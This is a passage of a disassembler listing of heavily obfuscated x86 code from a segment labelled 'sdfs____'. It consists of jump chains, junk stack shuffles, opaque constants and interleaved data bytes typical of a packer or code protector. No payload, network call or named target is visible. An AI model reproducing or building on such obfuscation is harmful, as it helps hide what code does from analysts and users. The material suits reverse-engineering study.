		pop	edi
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5A58E3
; ---------------------------------------------------------------------------


loc_5AAE1F:				; CODE XREF: sdfs____:005A3EC1j
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_599E8C
; ---------------------------------------------------------------------------
		dd 1C181h, 0D1F70000h, 0FFFFE981h, 0B7E9FFFFh
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5AAE43:				; CODE XREF: sdfs____:005A0501j
		and	ebp, 766D309Ch
		jnb	loc_5A7701
		xor	ebp, 70EF0FB3h
		jmp	loc_5A4BBF
; ---------------------------------------------------------------------------
		dw 248Bh
		db 24h,	53h
; ---------------------------------------------------------------------------


loc_5AAE5E:				; CODE XREF: sdfs____:005AD49Aj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5AB83F
; ---------------------------------------------------------------------------


loc_5AAE6C:				; CODE XREF: sdfs____:005A769Cj
		jmp	loc_5A336B
; ---------------------------------------------------------------------------
		dd offset dword_54A548+120h
		align 2
		dw 3489h
		dd 0E4F1E924h
		db 2 dup(0FFh)
word_5AAE7E	dw 8B66h		; DATA XREF: sdfs____:00598EC0o
		dd 80E9240Ch
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5AAE87:				; CODE XREF: sdfs____:005A382Dj
		mov	[esp], ebp
		jmp	loc_5AEBC4
; ---------------------------------------------------------------------------


loc_5AAE8F:				; CODE XREF: sdfs____:005AC6D0j
		mov	edx, ebx
		pop	ebx
		jmp	loc_5AB2D1
; ---------------------------------------------------------------------------


loc_5AAE97:				; CODE XREF: sdfs____:005A4C88j
		jo	loc_599672
		dec	esi
		sub	esi, 11EF3B85h
		shl	esi, 4
		jmp	loc_5A29C5
; ---------------------------------------------------------------------------


loc_5AAEAC:				; CODE XREF: sdfs____:0059E377j
		jp	loc_5AF273
		shl	ebp, 6
		jp	loc_5A81DF
		shl	ebp, 5
		pop	esp


loc_5AAEBF:				; CODE XREF: sdfs____:0059DAB4j
		mov	eax, esp
		push	ecx
		mov	ecx, 42437BE4h
		shr	ecx, 8
		not	ecx
		add	ecx, offset byte_424380
		jmp	loc_5A9CE2
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFEE233h
; ---------------------------------------------------------------------------


loc_5AAEDC:				; CODE XREF: sdfs____:005AB013j
					; sdfs____:005AFD78j
		mov	esp, [esp]
		rol	byte ptr [esp],	cl
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5AAEE8:				; CODE XREF: sdfs____:005A35A4j
		mov	eax, 66F24A5Eh
		add	ecx, eax
		jmp	loc_5AC497
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F5Dh,	4EC81h,	2C890000h, 2414F724h, 83242C8Bh
		dd 895104C4h, 4C181E1h,	57000000h, 4BFh, 6F9BE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AAF22:				; CODE XREF: sdfs____:005A90ABj
		xchg	eax, [esp]
		pop	esp
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	eax
		push	esp
		pop	eax
		push	ebp
		mov	ebp, 143F576Fh
		shl	ebp, 2
		xor	ebp, 50FD5DB8h
		add	eax, ebp
		pop	ebp
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_5A2EB8
; ---------------------------------------------------------------------------


loc_5AAF67:				; CODE XREF: sdfs____:0059ABDFj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_59FF7E
; ---------------------------------------------------------------------------
word_5AAF7A	dw 51ADh		; DATA XREF: sdfs____:0059905Co
		dd 27A87B9h, 59CE2952h,	6852C601h, 76BAh, 55243489h, 0D1598BBDh
		dd 69685724h, 8B32C122h, 0C481243Ch, 4,	0B1A9C781h, 0F5E94412h
		dd 54FFFF69h, 81240C8Bh, 4C4h, 4C18100h, 81000000h, 4C1h
		dd 9E900h, 5366FFFFh, 0FA082FB7h, 44E95B66h
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AAFD7:				; CODE XREF: sdfs____:005A3080j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5AA30F
; ---------------------------------------------------------------------------


loc_5AAFE0:				; CODE XREF: sdfs____:005ACA72j
		mov	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esi, 2E19354Ah
		sub	esi, eax
		add	esi, 2E19354Ah
		pop	eax
		and	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_59CF29
; ---------------------------------------------------------------------------


loc_5AB007:				; CODE XREF: sdfs____:0059E0A9j
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		jmp	loc_5AAEDC
; ---------------------------------------------------------------------------


loc_5AB018:				; CODE XREF: sdfs____:005AC17Cj
		mov	[esp], ebp
		jmp	loc_5A62B8
; ---------------------------------------------------------------------------


loc_5AB020:				; CODE XREF: sdfs____:005AEB28j
		push	esp
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59EA94
; ---------------------------------------------------------------------------
		dd 1BEh, 0E9F50100h, 1CB4h, 0CC728E0Fh,	1268FFFFh, 8900000Fh
		dd 4CE9241Ch, 1FFFEE5h
		db 0D5h
; ---------------------------------------------------------------------------


loc_5AB04D:				; CODE XREF: sdfs____:005A1144j
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5AB059:				; CODE XREF: sdfs____:0059A077j
					; sdfs____:005AEAB2j
		or	[esp], ax
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5AB063:				; CODE XREF: sdfs____:0059C360j
		inc	eax
		xor	eax, 8945C9BCh
		jmp	loc_5A690E
; ---------------------------------------------------------------------------


loc_5AB06E:				; CODE XREF: sdfs____:005A1627j
		pop	esp
		jmp	loc_59ECC2
; ---------------------------------------------------------------------------


loc_5AB074:				; CODE XREF: sdfs____:00599A41j
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5AB079:				; CODE XREF: sdfs____:0059FC99j
		pop	esp
		sub	edi, edx
		pop	edx
		jmp	loc_59EE8B
; ---------------------------------------------------------------------------


loc_5AB082:				; CODE XREF: sdfs____:005A5ED9j
		push	edx
		push	4CD6h
		jmp	loc_59F0A3
; ---------------------------------------------------------------------------
byte_5AB08D	db 66h,	8Bh, 0Ch	; DATA XREF: sdfs____:00598F70o
aHf3		db '$h”3',0
		align 2
aIHac		db '‰,$haC',0
		align 2
		dw 2489h
		dd 24048124h, 4, 0FEE82BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AB0AD:				; CODE XREF: sdfs____:005A325Cj
		add	cl, 0D2h
		pop	dx
		push	small 43Bh
		jmp	loc_5A832C
; ---------------------------------------------------------------------------


loc_5AB0BB:				; CODE XREF: sdfs____:005A75EFj
		mov	ebp, 472353FAh
		jmp	loc_5AD4EB
; ---------------------------------------------------------------------------


loc_5AB0C5:				; CODE XREF: sdfs____:005A646Ej
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5AB0CA:				; CODE XREF: sdfs____:005A25C9j
		add	ebp, 8CF48CABh
		jmp	loc_5ADACB
; ---------------------------------------------------------------------------


loc_5AB0D5:				; CODE XREF: sdfs____:loc_59EF96j
		jmp	loc_5AA995
; ---------------------------------------------------------------------------


loc_5AB0DA:				; CODE XREF: sdfs____:005A2756j
		pop	ebx
		jmp	loc_5AEE08
; ---------------------------------------------------------------------------
		dd 0C23083BFh, 0E9F8892Bh, 0FFFF0F2Ch
; ---------------------------------------------------------------------------


loc_5AB0EC:				; CODE XREF: sdfs____:005A03C9j
					; sdfs____:005A3742j
		mov	[esp], ebx
		mov	ebx, 4
		sub	esi, 7D586BE1h
		add	esi, ebx
		add	esi, 7D586BE1h
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], edi
		push	73343F8Eh
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5AE5AA
; ---------------------------------------------------------------------------


loc_5AB120:				; CODE XREF: sdfs____:005A21EAj
					; sdfs____:005AD741j
		xor	eax, edx
		jmp	loc_59FC9E
; ---------------------------------------------------------------------------
		db 89h
		dd 241C8BDDh, 7EBE955h,	77680000h, 0E900006Eh, 1F41h, 3304C683h
		dd 34312434h, 24343324h, 240CFF5Ch, 0DFBDE99Ch,	0E95BFFFEh
		dd 3D93h, 0FD4BE957h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AB15E:				; CODE XREF: sdfs____:005A1EB0j
		pop	eax
		push	eax
		mov	al, 30h
		sub	ch, al
		pop	eax
		xor	ch, 0D4h
		xor	al, ch
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_5A0F0F
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 0F3h
		db 6Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AB17F:				; CODE XREF: sdfs____:005A3409j
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, esp
		push	edi
		mov	edi, 4
		add	ebx, edi
		jmp	loc_5ABF5B
; ---------------------------------------------------------------------------


loc_5AB198:				; CODE XREF: sdfs____:0059C720j
		sub	ecx, ebp
		jmp	loc_5ADAB8
; ---------------------------------------------------------------------------


loc_5AB19F:				; CODE XREF: sdfs____:005A4540j
		push	6F29h
		mov	[esp], eax
		mov	eax, 13A32EA0h
		sub	[esp+8], eax
		pop	eax
		pop	edx
		mov	edi, [esp]
		push	esi
		push	esp
		pop	esi
		push	eax
		mov	eax, 41AC0332h
		add	eax, 0BE53FCD2h
		add	esi, eax
		pop	eax
		push	ebx
		mov	ebx, 4
		jmp	loc_5AF00A
; ---------------------------------------------------------------------------


loc_5AB1D1:				; CODE XREF: sdfs____:005A4C69j
		push	edx
		mov	edx, 36697C76h
		shl	edx, 7
		add	edx, 0B5F4F66h
		jmp	loc_5A0980
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 4
		dd 0E9000000h, 0FFFFF58Eh
; ---------------------------------------------------------------------------


loc_5AB1F0:				; CODE XREF: sdfs____:005A48FCj
		pop	ebp
		mov	edi, ebx
		jmp	loc_5AB40A
; ---------------------------------------------------------------------------
		dd 8124048Fh, 42404h, 0D4E90000h
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AB207:				; CODE XREF: sdfs____:005A4806j
		push	ebx
		jmp	loc_5A9592
; ---------------------------------------------------------------------------


loc_5AB20D:				; CODE XREF: sdfs____:005A9794j
		jmp	loc_59C4C3
; ---------------------------------------------------------------------------


loc_5AB212:				; CODE XREF: sdfs____:005A2816j
		xor	esi, 73E5BC15h
		mov	ebp, esi
		jmp	loc_59BD95
; ---------------------------------------------------------------------------


loc_5AB21F:				; CODE XREF: sdfs____:005A6E0Aj
		mov	ecx, 408A69E5h
		and	ecx, 77BF66E1h
		xor	ecx, 91A404Dh
		add	edi, ecx
		pop	ecx
		jmp	loc_59A5A7
; ---------------------------------------------------------------------------


loc_5AB238:				; CODE XREF: sdfs____:0059D503j
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		add	esi, 4
		push	ecx
		jmp	loc_5A0E4E
; ---------------------------------------------------------------------------
		dw 814Bh
		dd 0E519B0F3h, 2880F08h, 0C1000034h, 0A0E907EBh, 58FFFFF4h
		dd 5C240C87h, 4C181h, 23E90000h
		db 0Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AB27B:				; CODE XREF: sdfs____:005A3961j
		and	ah, 6Dh
		add	ah, 53h
		sub	bl, ah
		pop	eax
		xor	al, bl
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		push	ecx
		mov	cl, 7Eh
		mov	ah, 0E1h
		sub	ah, cl
		pop	ecx
		sub	bl, ah
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	bl, 0C1h
		add	bl, 43h
		add	bl, al
		sub	bl, 43h
		push	small 68FDh
		mov	[esp], dx
		mov	dl, 0C1h
		sub	bl, dl
		jmp	loc_5A1C96
; ---------------------------------------------------------------------------


loc_5AB2D1:				; CODE XREF: sdfs____:005AAE92j
		push	1E311458h
		pop	ebp
		xor	ebp, edx
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5AFDA2
; ---------------------------------------------------------------------------


loc_5AB2EA:				; CODE XREF: sdfs____:0059CDFEj
		push	ebp
		push	esp
		jmp	loc_5A57F2
; ---------------------------------------------------------------------------


loc_5AB2F1:				; CODE XREF: sdfs____:005AA99Aj
		push	ax
		jmp	loc_5A86E2
; ---------------------------------------------------------------------------
		dd 19A0C781h, 8F0F40AFh, 3192h,	0E902E7C1h, 0FFFF7C8Eh
		dd 5445CF80h
; ---------------------------------------------------------------------------


loc_5AB310:				; CODE XREF: sdfs____:loc_59D33Ej
					; sdfs____:005AFF25j
		add	eax, 1
		xor	eax, 2BB95551h
		add	eax, 0D737728h
		jmp	loc_5AFAD1
; ---------------------------------------------------------------------------


loc_5AB322:				; CODE XREF: sdfs____:005A2E23j
		sub	ah, bh
		pop	ebx
		xor	ch, ah
		mov	eax, [esp]
		add	esp, 4
		push	bx
		mov	bh, 37h
		jmp	loc_59D643
; ---------------------------------------------------------------------------


loc_5AB339:				; CODE XREF: sdfs____:0059D048j
		mov	bh, al
		jmp	loc_5A10FD
; ---------------------------------------------------------------------------


loc_5AB340:				; CODE XREF: sdfs____:005A6065j
		sub	edx, 4ED1F92Eh
		sub	eax, edx
		pop	edx
		sub	esp, 4
		mov	[esp], edi
		push	6127h
		mov	[esp], esi
		jmp	loc_5A29D8
; ---------------------------------------------------------------------------


loc_5AB35C:				; CODE XREF: sdfs____:005AF6F3j
		shr	esi, 6
		sub	esp, 4
		jmp	loc_59A4A9
; ---------------------------------------------------------------------------


loc_5AB367:				; CODE XREF: sdfs____:005ADB5Bj
		push	edx
		jmp	loc_5A0BD8
; ---------------------------------------------------------------------------


loc_5AB36D:				; CODE XREF: sdfs____:005A31D3j
		not	ebx
		jmp	loc_5B03B3
; ---------------------------------------------------------------------------


loc_5AB374:				; CODE XREF: sdfs____:005AF61Bj
					; sdfs____:005AFCE2j
		add	esp, 4
		add	edx, ebx
		jmp	loc_5AF139
; ---------------------------------------------------------------------------


loc_5AB37E:				; CODE XREF: sdfs____:005A71EBj
		mov	esi, [esp]
		add	esp, 4
		and	ecx, ebp
		jmp	loc_59ACEB
; ---------------------------------------------------------------------------


loc_5AB38E:				; CODE XREF: sdfs____:0059CCD9j
		jmp	loc_5A6D72
; ---------------------------------------------------------------------------
byte_5AB393	db 66h			; DATA XREF: sdfs____:0059902Co
		dd 68240C8Bh, 4F24h, 89241C89h,	0E5E8E9E3h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AB3A6:				; CODE XREF: sdfs____:0059B21Bj
		jmp	loc_5ABB40
; ---------------------------------------------------------------------------


loc_5AB3AB:				; CODE XREF: sdfs____:0059A511j
		pop	edx
		mov	edx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	edx, 4D746AACh
		jmp	loc_5A9F1A
; ---------------------------------------------------------------------------
		db 80h
		dd 0E728ABF4h, 8BF80058h, 0C483241Ch, 241C8B04h, 4C483h
		dd 23E952D8h
		db 91h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AB3DB:				; CODE XREF: sdfs____:005A0F58j
		sub	esp, 4
		jmp	loc_5A98AF
; ---------------------------------------------------------------------------
		db 0BAh
		dd 33A57246h, 0E95AD021h, 2910h
; ---------------------------------------------------------------------------


loc_5AB3F0:				; CODE XREF: sdfs____:0059B0BDj
		or	eax, 7D9A698Eh
		jmp	loc_5AF4EE
; ---------------------------------------------------------------------------


loc_5AB3FA:				; CODE XREF: sdfs____:005A0780j
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		xor	edi, [esp]
		jmp	loc_59B25C
; ---------------------------------------------------------------------------


loc_5AB40A:				; CODE XREF: sdfs____:005AB1F3j
		mov	ebx, [esp]
		add	esp, 4
		not	edi
		push	ebx
		jmp	loc_5A1F73
; ---------------------------------------------------------------------------


loc_5AB41B:				; CODE XREF: sdfs____:005A38A9j
		add	cl, 39h
		jmp	loc_5A834F
; ---------------------------------------------------------------------------
		db 89h
		dd 0DE61E9E3h
		db 2 dup(0FFh)
word_5AB42A	dw 8B66h		; DATA XREF: sdfs____:00598EC4o
		dd 0E568240Ch, 8900007Bh, 5A542414h, 44C568h, 0C291E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AB442:				; CODE XREF: sdfs____:005A629Aj
					; sdfs____:005A673Cj
		add	ebx, 1F06FFEAh
		jmp	loc_5AE49E
; ---------------------------------------------------------------------------


loc_5AB44D:				; CODE XREF: sdfs____:005A06AAj
					; sdfs____:005A1815j
		mov	bh, al
		mov	dl, bh
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		push	edx
		jmp	loc_5A2429
; ---------------------------------------------------------------------------


loc_5AB461:				; CODE XREF: sdfs____:005AD6D5j
		push	edi
		jmp	loc_5AD579
; ---------------------------------------------------------------------------
		db 0C1h
		dd 850F08E0h, 0FFFF37D7h, 0B4850F48h, 35000016h, 1E7296h
		db 80h,	0ECh, 63h
; ---------------------------------------------------------------------------


loc_5AB47F:				; CODE XREF: sdfs____:0059E137j
		pop	ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5AF5B3
; ---------------------------------------------------------------------------


loc_5AB48E:				; CODE XREF: sdfs____:0059C2ACj
		mov	[esp], ebp
		mov	ebp, 0C7C08EFh
		push	esi
		mov	esi, 6BA87B44h
		jmp	loc_5A166C
; ---------------------------------------------------------------------------


loc_5AB4A1:				; CODE XREF: sdfs____:0059D543j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5A45C5
; ---------------------------------------------------------------------------
		dd 5EF68D0Fh, 7835FFFFh, 0E94FEC87h, 0FFFF4501h, 0EF3A890Fh
		dd 0ED81FFFFh, 0FEDF752Dh, 0E788EF89h, 2414F756h, 9F6815Eh
		dd 46460C29h, 1EA3C681h, 0F10140E4h, 4EC815Eh, 89000000h
		dd 4B82404h, 52000000h,	9B4B4EBAh, 0AEC28161h, 810C616Dh
		dd 0A0AB89C2h, 5AD1299Eh, 0BA52C101h, 0C9D6485h, 0FF2433E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AB511:				; CODE XREF: sdfs____:0059D6F2j
					; sdfs____:005AD3B2j
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5A98BF
; ---------------------------------------------------------------------------
byte_5AB521	db 64h,	66h, 0Fh	; DATA XREF: sdfs____:00599030o
		dd 686602B6h, 17E90B37h
		db 68h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AB52F:				; CODE XREF: sdfs____:0059CFC6j
		pop	esi
		push	edi
		jmp	loc_5ACB96
; ---------------------------------------------------------------------------


loc_5AB536:				; CODE XREF: sdfs____:005A34E9j
		and	esi, 3F2929F3h
		jb	loc_59B749
		neg	esi
		and	esi, 65CA590Dh
		dec	esi
		jmp	loc_5A3F10
; ---------------------------------------------------------------------------


loc_5AB550:				; CODE XREF: sdfs____:005A84BCj
		sub	edi, ebx
		pop	ebx
		push	ebp
		mov	ebp, 48776D54h
		push	ecx
		jmp	loc_5A141D
; ---------------------------------------------------------------------------
		db 81h
		dd 0A945B1EEh, 5EF331BAh, 67E9D901h
		db 60h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AB56F:				; CODE XREF: sdfs____:005AA58Aj
		or	[edi+1Ch], ebx
		jmp	loc_5AF9D9
; ---------------------------------------------------------------------------


loc_5AB577:				; CODE XREF: sdfs____:00599149j
		add	esp, 4
		push	ebp
		push	ecx
		mov	ecx, eax
		mov	ebp, ecx
		pop	ecx
		mov	esi, ebp
		pop	ebp
		pop	eax
		push	ebx
		mov	ebx, 331B2AFBh
		jmp	loc_5A0E31
; ---------------------------------------------------------------------------
byte_5AB593	db 8Fh			; DATA XREF: sdfs____:00598F0Co
		dd 0B8FBE902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AB59A:				; CODE XREF: sdfs____:005A8F13j
		mov	[esp], ecx
		mov	ecx, 4
		add	edi, ecx
		jmp	loc_5A6B0F
; ---------------------------------------------------------------------------
byte_5AB5A9	db 0FFh, 34h, 24h	; DATA XREF: sdfs____:00598F28o
aXheg		db 'Xh…g',0
		align 2
		dw 1C89h
aHa		db '$hí,',0
		align 2
		dw 2489h
		dd 24048324h, 3FEE904h,	0C6810000h, 4, 6B92B850h, 680552A6h
		dd 56186238h, 0C6815E54h, 4, 0FFBF07E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AB5E5:				; CODE XREF: sdfs____:005A7557j
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A3038
; ---------------------------------------------------------------------------
		dd 0E905E3C1h, 25CAh, 8106E1C1h, 830E84C1h, 48151BEh, 0BF40AD24h
		dd 3B8EE912h, 8F59FFFFh, 0E9582404h, 0FFFFEE61h, 0EA8CE95Ah
		db 2 dup(0FFh)
word_5AB622	dw 8B66h		; DATA XREF: sdfs____:00598FC4o
		dd 0EC83240Ch, 243C8904h, 1C9268h, 70CF6800h, 24890000h
		dd 24048124h, 4, 0E924048Fh, 0FFFEE6CEh
; ---------------------------------------------------------------------------


loc_5AB648:				; CODE XREF: sdfs____:005A6028j
		mov	ebx, [esp]
		add	esp, 4
		mov	ecx, [esp]
		push	506h
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_59AC74
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0F523E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AB676:				; CODE XREF: sdfs____:00599B6Cj
					; sdfs____:005A0B71j
		add	eax, 0D8105777h
		sub	eax, 34FE0696h
		jmp	loc_5A2ACE
; ---------------------------------------------------------------------------


loc_5AB685:				; CODE XREF: sdfs____:0059BAA4j
		and	ebx, 5A1F59BBh
		jnz	loc_5A8675
		jmp	loc_5AC9E5
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0F233E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AB69E:				; CODE XREF: sdfs____:005AD4C7j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5ADD41
; ---------------------------------------------------------------------------
		dd 0C2E9E689h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AB6B3:				; CODE XREF: sdfs____:0059E994j
		dec	ebx
		jg	loc_5AC6CA
		add	ebx, 0F337FE52h
		jmp	loc_5A5A82
; ---------------------------------------------------------------------------
		db 5Ch,	80h, 0E1h
		dd 241C8BB4h, 8A04C483h, 88022464h, 66022454h, 8324148Bh
		dd 2CE902C4h
		db 0DAh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AB6E3:				; CODE XREF: sdfs____:005A312Fj
		push	dword ptr [esp+4]
		jmp	loc_59E7E8
; ---------------------------------------------------------------------------


loc_5AB6EC:				; CODE XREF: sdfs____:0059A2CAj
		shr	ecx, 3
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 0E05155Eh
		jmp	loc_5A06D2
; ---------------------------------------------------------------------------


loc_5AB702:				; CODE XREF: sdfs____:0059B843j
		xor	edi, 415B19Ch
		add	esi, edi
		pop	edi
		push	ecx
		push	esi
		push	288E1057h
		jmp	loc_5AC1C6
; ---------------------------------------------------------------------------
		db 68h
		dd 231Eh, 0E9240C89h, 4AD3h
; ---------------------------------------------------------------------------


loc_5AB724:				; CODE XREF: sdfs____:0059D527j
		pop	eax
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5AB72A:				; CODE XREF: sdfs____:0059DD77j
		mov	ebx, 41AA2BDBh
		and	ebx, 15317B08h
		jmp	loc_5A8191
; ---------------------------------------------------------------------------


loc_5AB73A:				; CODE XREF: sdfs____:005A2908j
		pop	ebx
		add	esp, 4
		jmp	loc_59D8E9
; ---------------------------------------------------------------------------


loc_5AB746:				; CODE XREF: sdfs____:005ADA3Dj
		jmp	loc_59910F
; ---------------------------------------------------------------------------
		db 4
		dd 0D8285A53h, 80FEB551h, 0F3E917EDh
		db 2Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AB75B:				; CODE XREF: sdfs____:0059C1FDj
		add	ebp, edx
		jmp	loc_5A2FEE
; ---------------------------------------------------------------------------
word_5AB762	dw 8B66h		; DATA XREF: sdfs____:00598E74o
		dd 8356240Ch, 248904ECh, 0A803E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AB772:				; CODE XREF: sdfs____:005A7396j
		mov	esi, esp
		push	ebp
		push	ebx
		mov	ebx, 77BD4DCDh
		mov	ebp, ebx
		jmp	loc_5AF89A
; ---------------------------------------------------------------------------
word_5AB782	dw 0E9ADh		; DATA XREF: sdfs____:00599008o
		dd 0FFFEDAEEh
; ---------------------------------------------------------------------------


loc_5AB788:				; CODE XREF: sdfs____:005AF5FAj
					; sdfs____:005AF761j
		pop	ebx
		add	edi, ebx
		jmp	loc_599D7F
; ---------------------------------------------------------------------------


loc_5AB790:				; CODE XREF: sdfs____:005AD024j
		pop	ebx
		sub	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_5A3C3F
; ---------------------------------------------------------------------------


loc_5AB7A1:				; CODE XREF: sdfs____:005A3198j
		pop	esi
		jmp	loc_59BF7D
; ---------------------------------------------------------------------------


loc_5AB7A7:				; CODE XREF: sdfs____:005A7D51j
		push	2F7h
		mov	[esp], ebp
		push	660A5208h
		pop	ebp
		not	ebp
		xor	ebp, 977BB7BCh
		mov	esi, ebp
		pop	ebp
		push	eax
		mov	eax, 2CB80DF3h
		and	esi, eax
		jmp	loc_59DD7C
; ---------------------------------------------------------------------------
byte_5AB7CD	db 66h,	31h, 14h	; DATA XREF: sdfs____:00598F7Co
		dd 14336624h, 14316624h, 0B94CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AB7DE:				; CODE XREF: sdfs____:005A6CFEj
		add	ecx, 4DAF58B2h
		sub	ebx, 692D2281h
		add	ebx, ecx
		push	eax
		mov	eax, 692D2281h
		add	ebx, 5CBC7752h
		add	ebx, eax
		sub	ebx, 5CBC7752h
		pop	eax
		mov	ecx, [esp]
		add	esp, 4
		add	ebx, 25063AB8h
		not	ebx
		shr	ebx, 1
		push	edi
		mov	edi, 6589785h
		add	ebx, 3D420349h
		jmp	loc_5A003C
; ---------------------------------------------------------------------------
		db 0B7h, 0AFh, 51h
		dd 0EF2862B5h, 80CF2859h, 60E962C7h, 8BFFFF8Dh,	0C1E9240Ch
		db 94h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AB83F:				; CODE XREF: sdfs____:005AAE67j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	ebp
		jmp	loc_5AD934
; ---------------------------------------------------------------------------


loc_5AB84C:				; CODE XREF: sdfs____:005AAD44j
		shl	ebp, 4
		push	esi
		mov	esi, 473310A0h
		add	ebp, esi
		jmp	loc_5A5518
; ---------------------------------------------------------------------------


loc_5AB85C:				; CODE XREF: sdfs____:00599CF0j
		jmp	loc_5AE483
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 0FFB537E9h, 8EAC1FFh, 0FF5D84E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AB871:				; CODE XREF: sdfs____:005A2422j
					; sdfs____:005A4DC0j
		push	edx
		jmp	loc_59A8DC
; ---------------------------------------------------------------------------


loc_5AB877:				; CODE XREF: sdfs____:005A5526j
		shr	ebx, 7
		inc	ebx
		jnp	loc_5AFE9D
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 72FE475Ah
		push	ebp


loc_5AB890:				; CODE XREF: sdfs____:0059D12Fj
		sub	di, 6044h
		push	di
		sub	esp, 2
		mov	[esp], bx
		pop	di
		pop	bx
		dec	bx
		push	di
		push	bx
		jmp	loc_59C754
; ---------------------------------------------------------------------------
		dd 7D20C181h, 0C1297B13h, 7D20E981h, 0BA527B13h, 3E122E90h
		dd 0E281DAF7h, 4B7573A2h, 181AE281h, 0C2811A96h, 65611215h
		dd 0FF75CAE9h, 240C89FFh, 0A64002B9h, 8B685504h, 5D50B103h
		dd 57ED814Dh, 0E94D2B4Eh, 0FFFFFBC4h
; ---------------------------------------------------------------------------


loc_5AB8F8:				; CODE XREF: sdfs____:005A6C04j
		add	esi, ebp
		mov	ebp, [esp]
		jmp	loc_5A5576
; ---------------------------------------------------------------------------


loc_5AB902:				; CODE XREF: sdfs____:005994C4j
		dec	eax
		add	eax, 5BFF4F35h
		jge	loc_59DA68
		add	eax, 0A6134972h
		sub	eax, 137F67E9h
		sub	eax, 44387051h
		mov	ebp, esp
		jmp	loc_5AF44F
; ---------------------------------------------------------------------------
		dd 81E78957h, 4C7h, 6E32E900h, 2BEFFFFh, 81000000h, 0A33BFBEAh
		dd 68BE5608h, 0E91DEB42h, 0FFFF6EE0h
; ---------------------------------------------------------------------------


loc_5AB948:				; CODE XREF: sdfs____:005ADF17j
		xor	ebp, ecx
		pop	ecx
		jmp	loc_5A4133
; ---------------------------------------------------------------------------
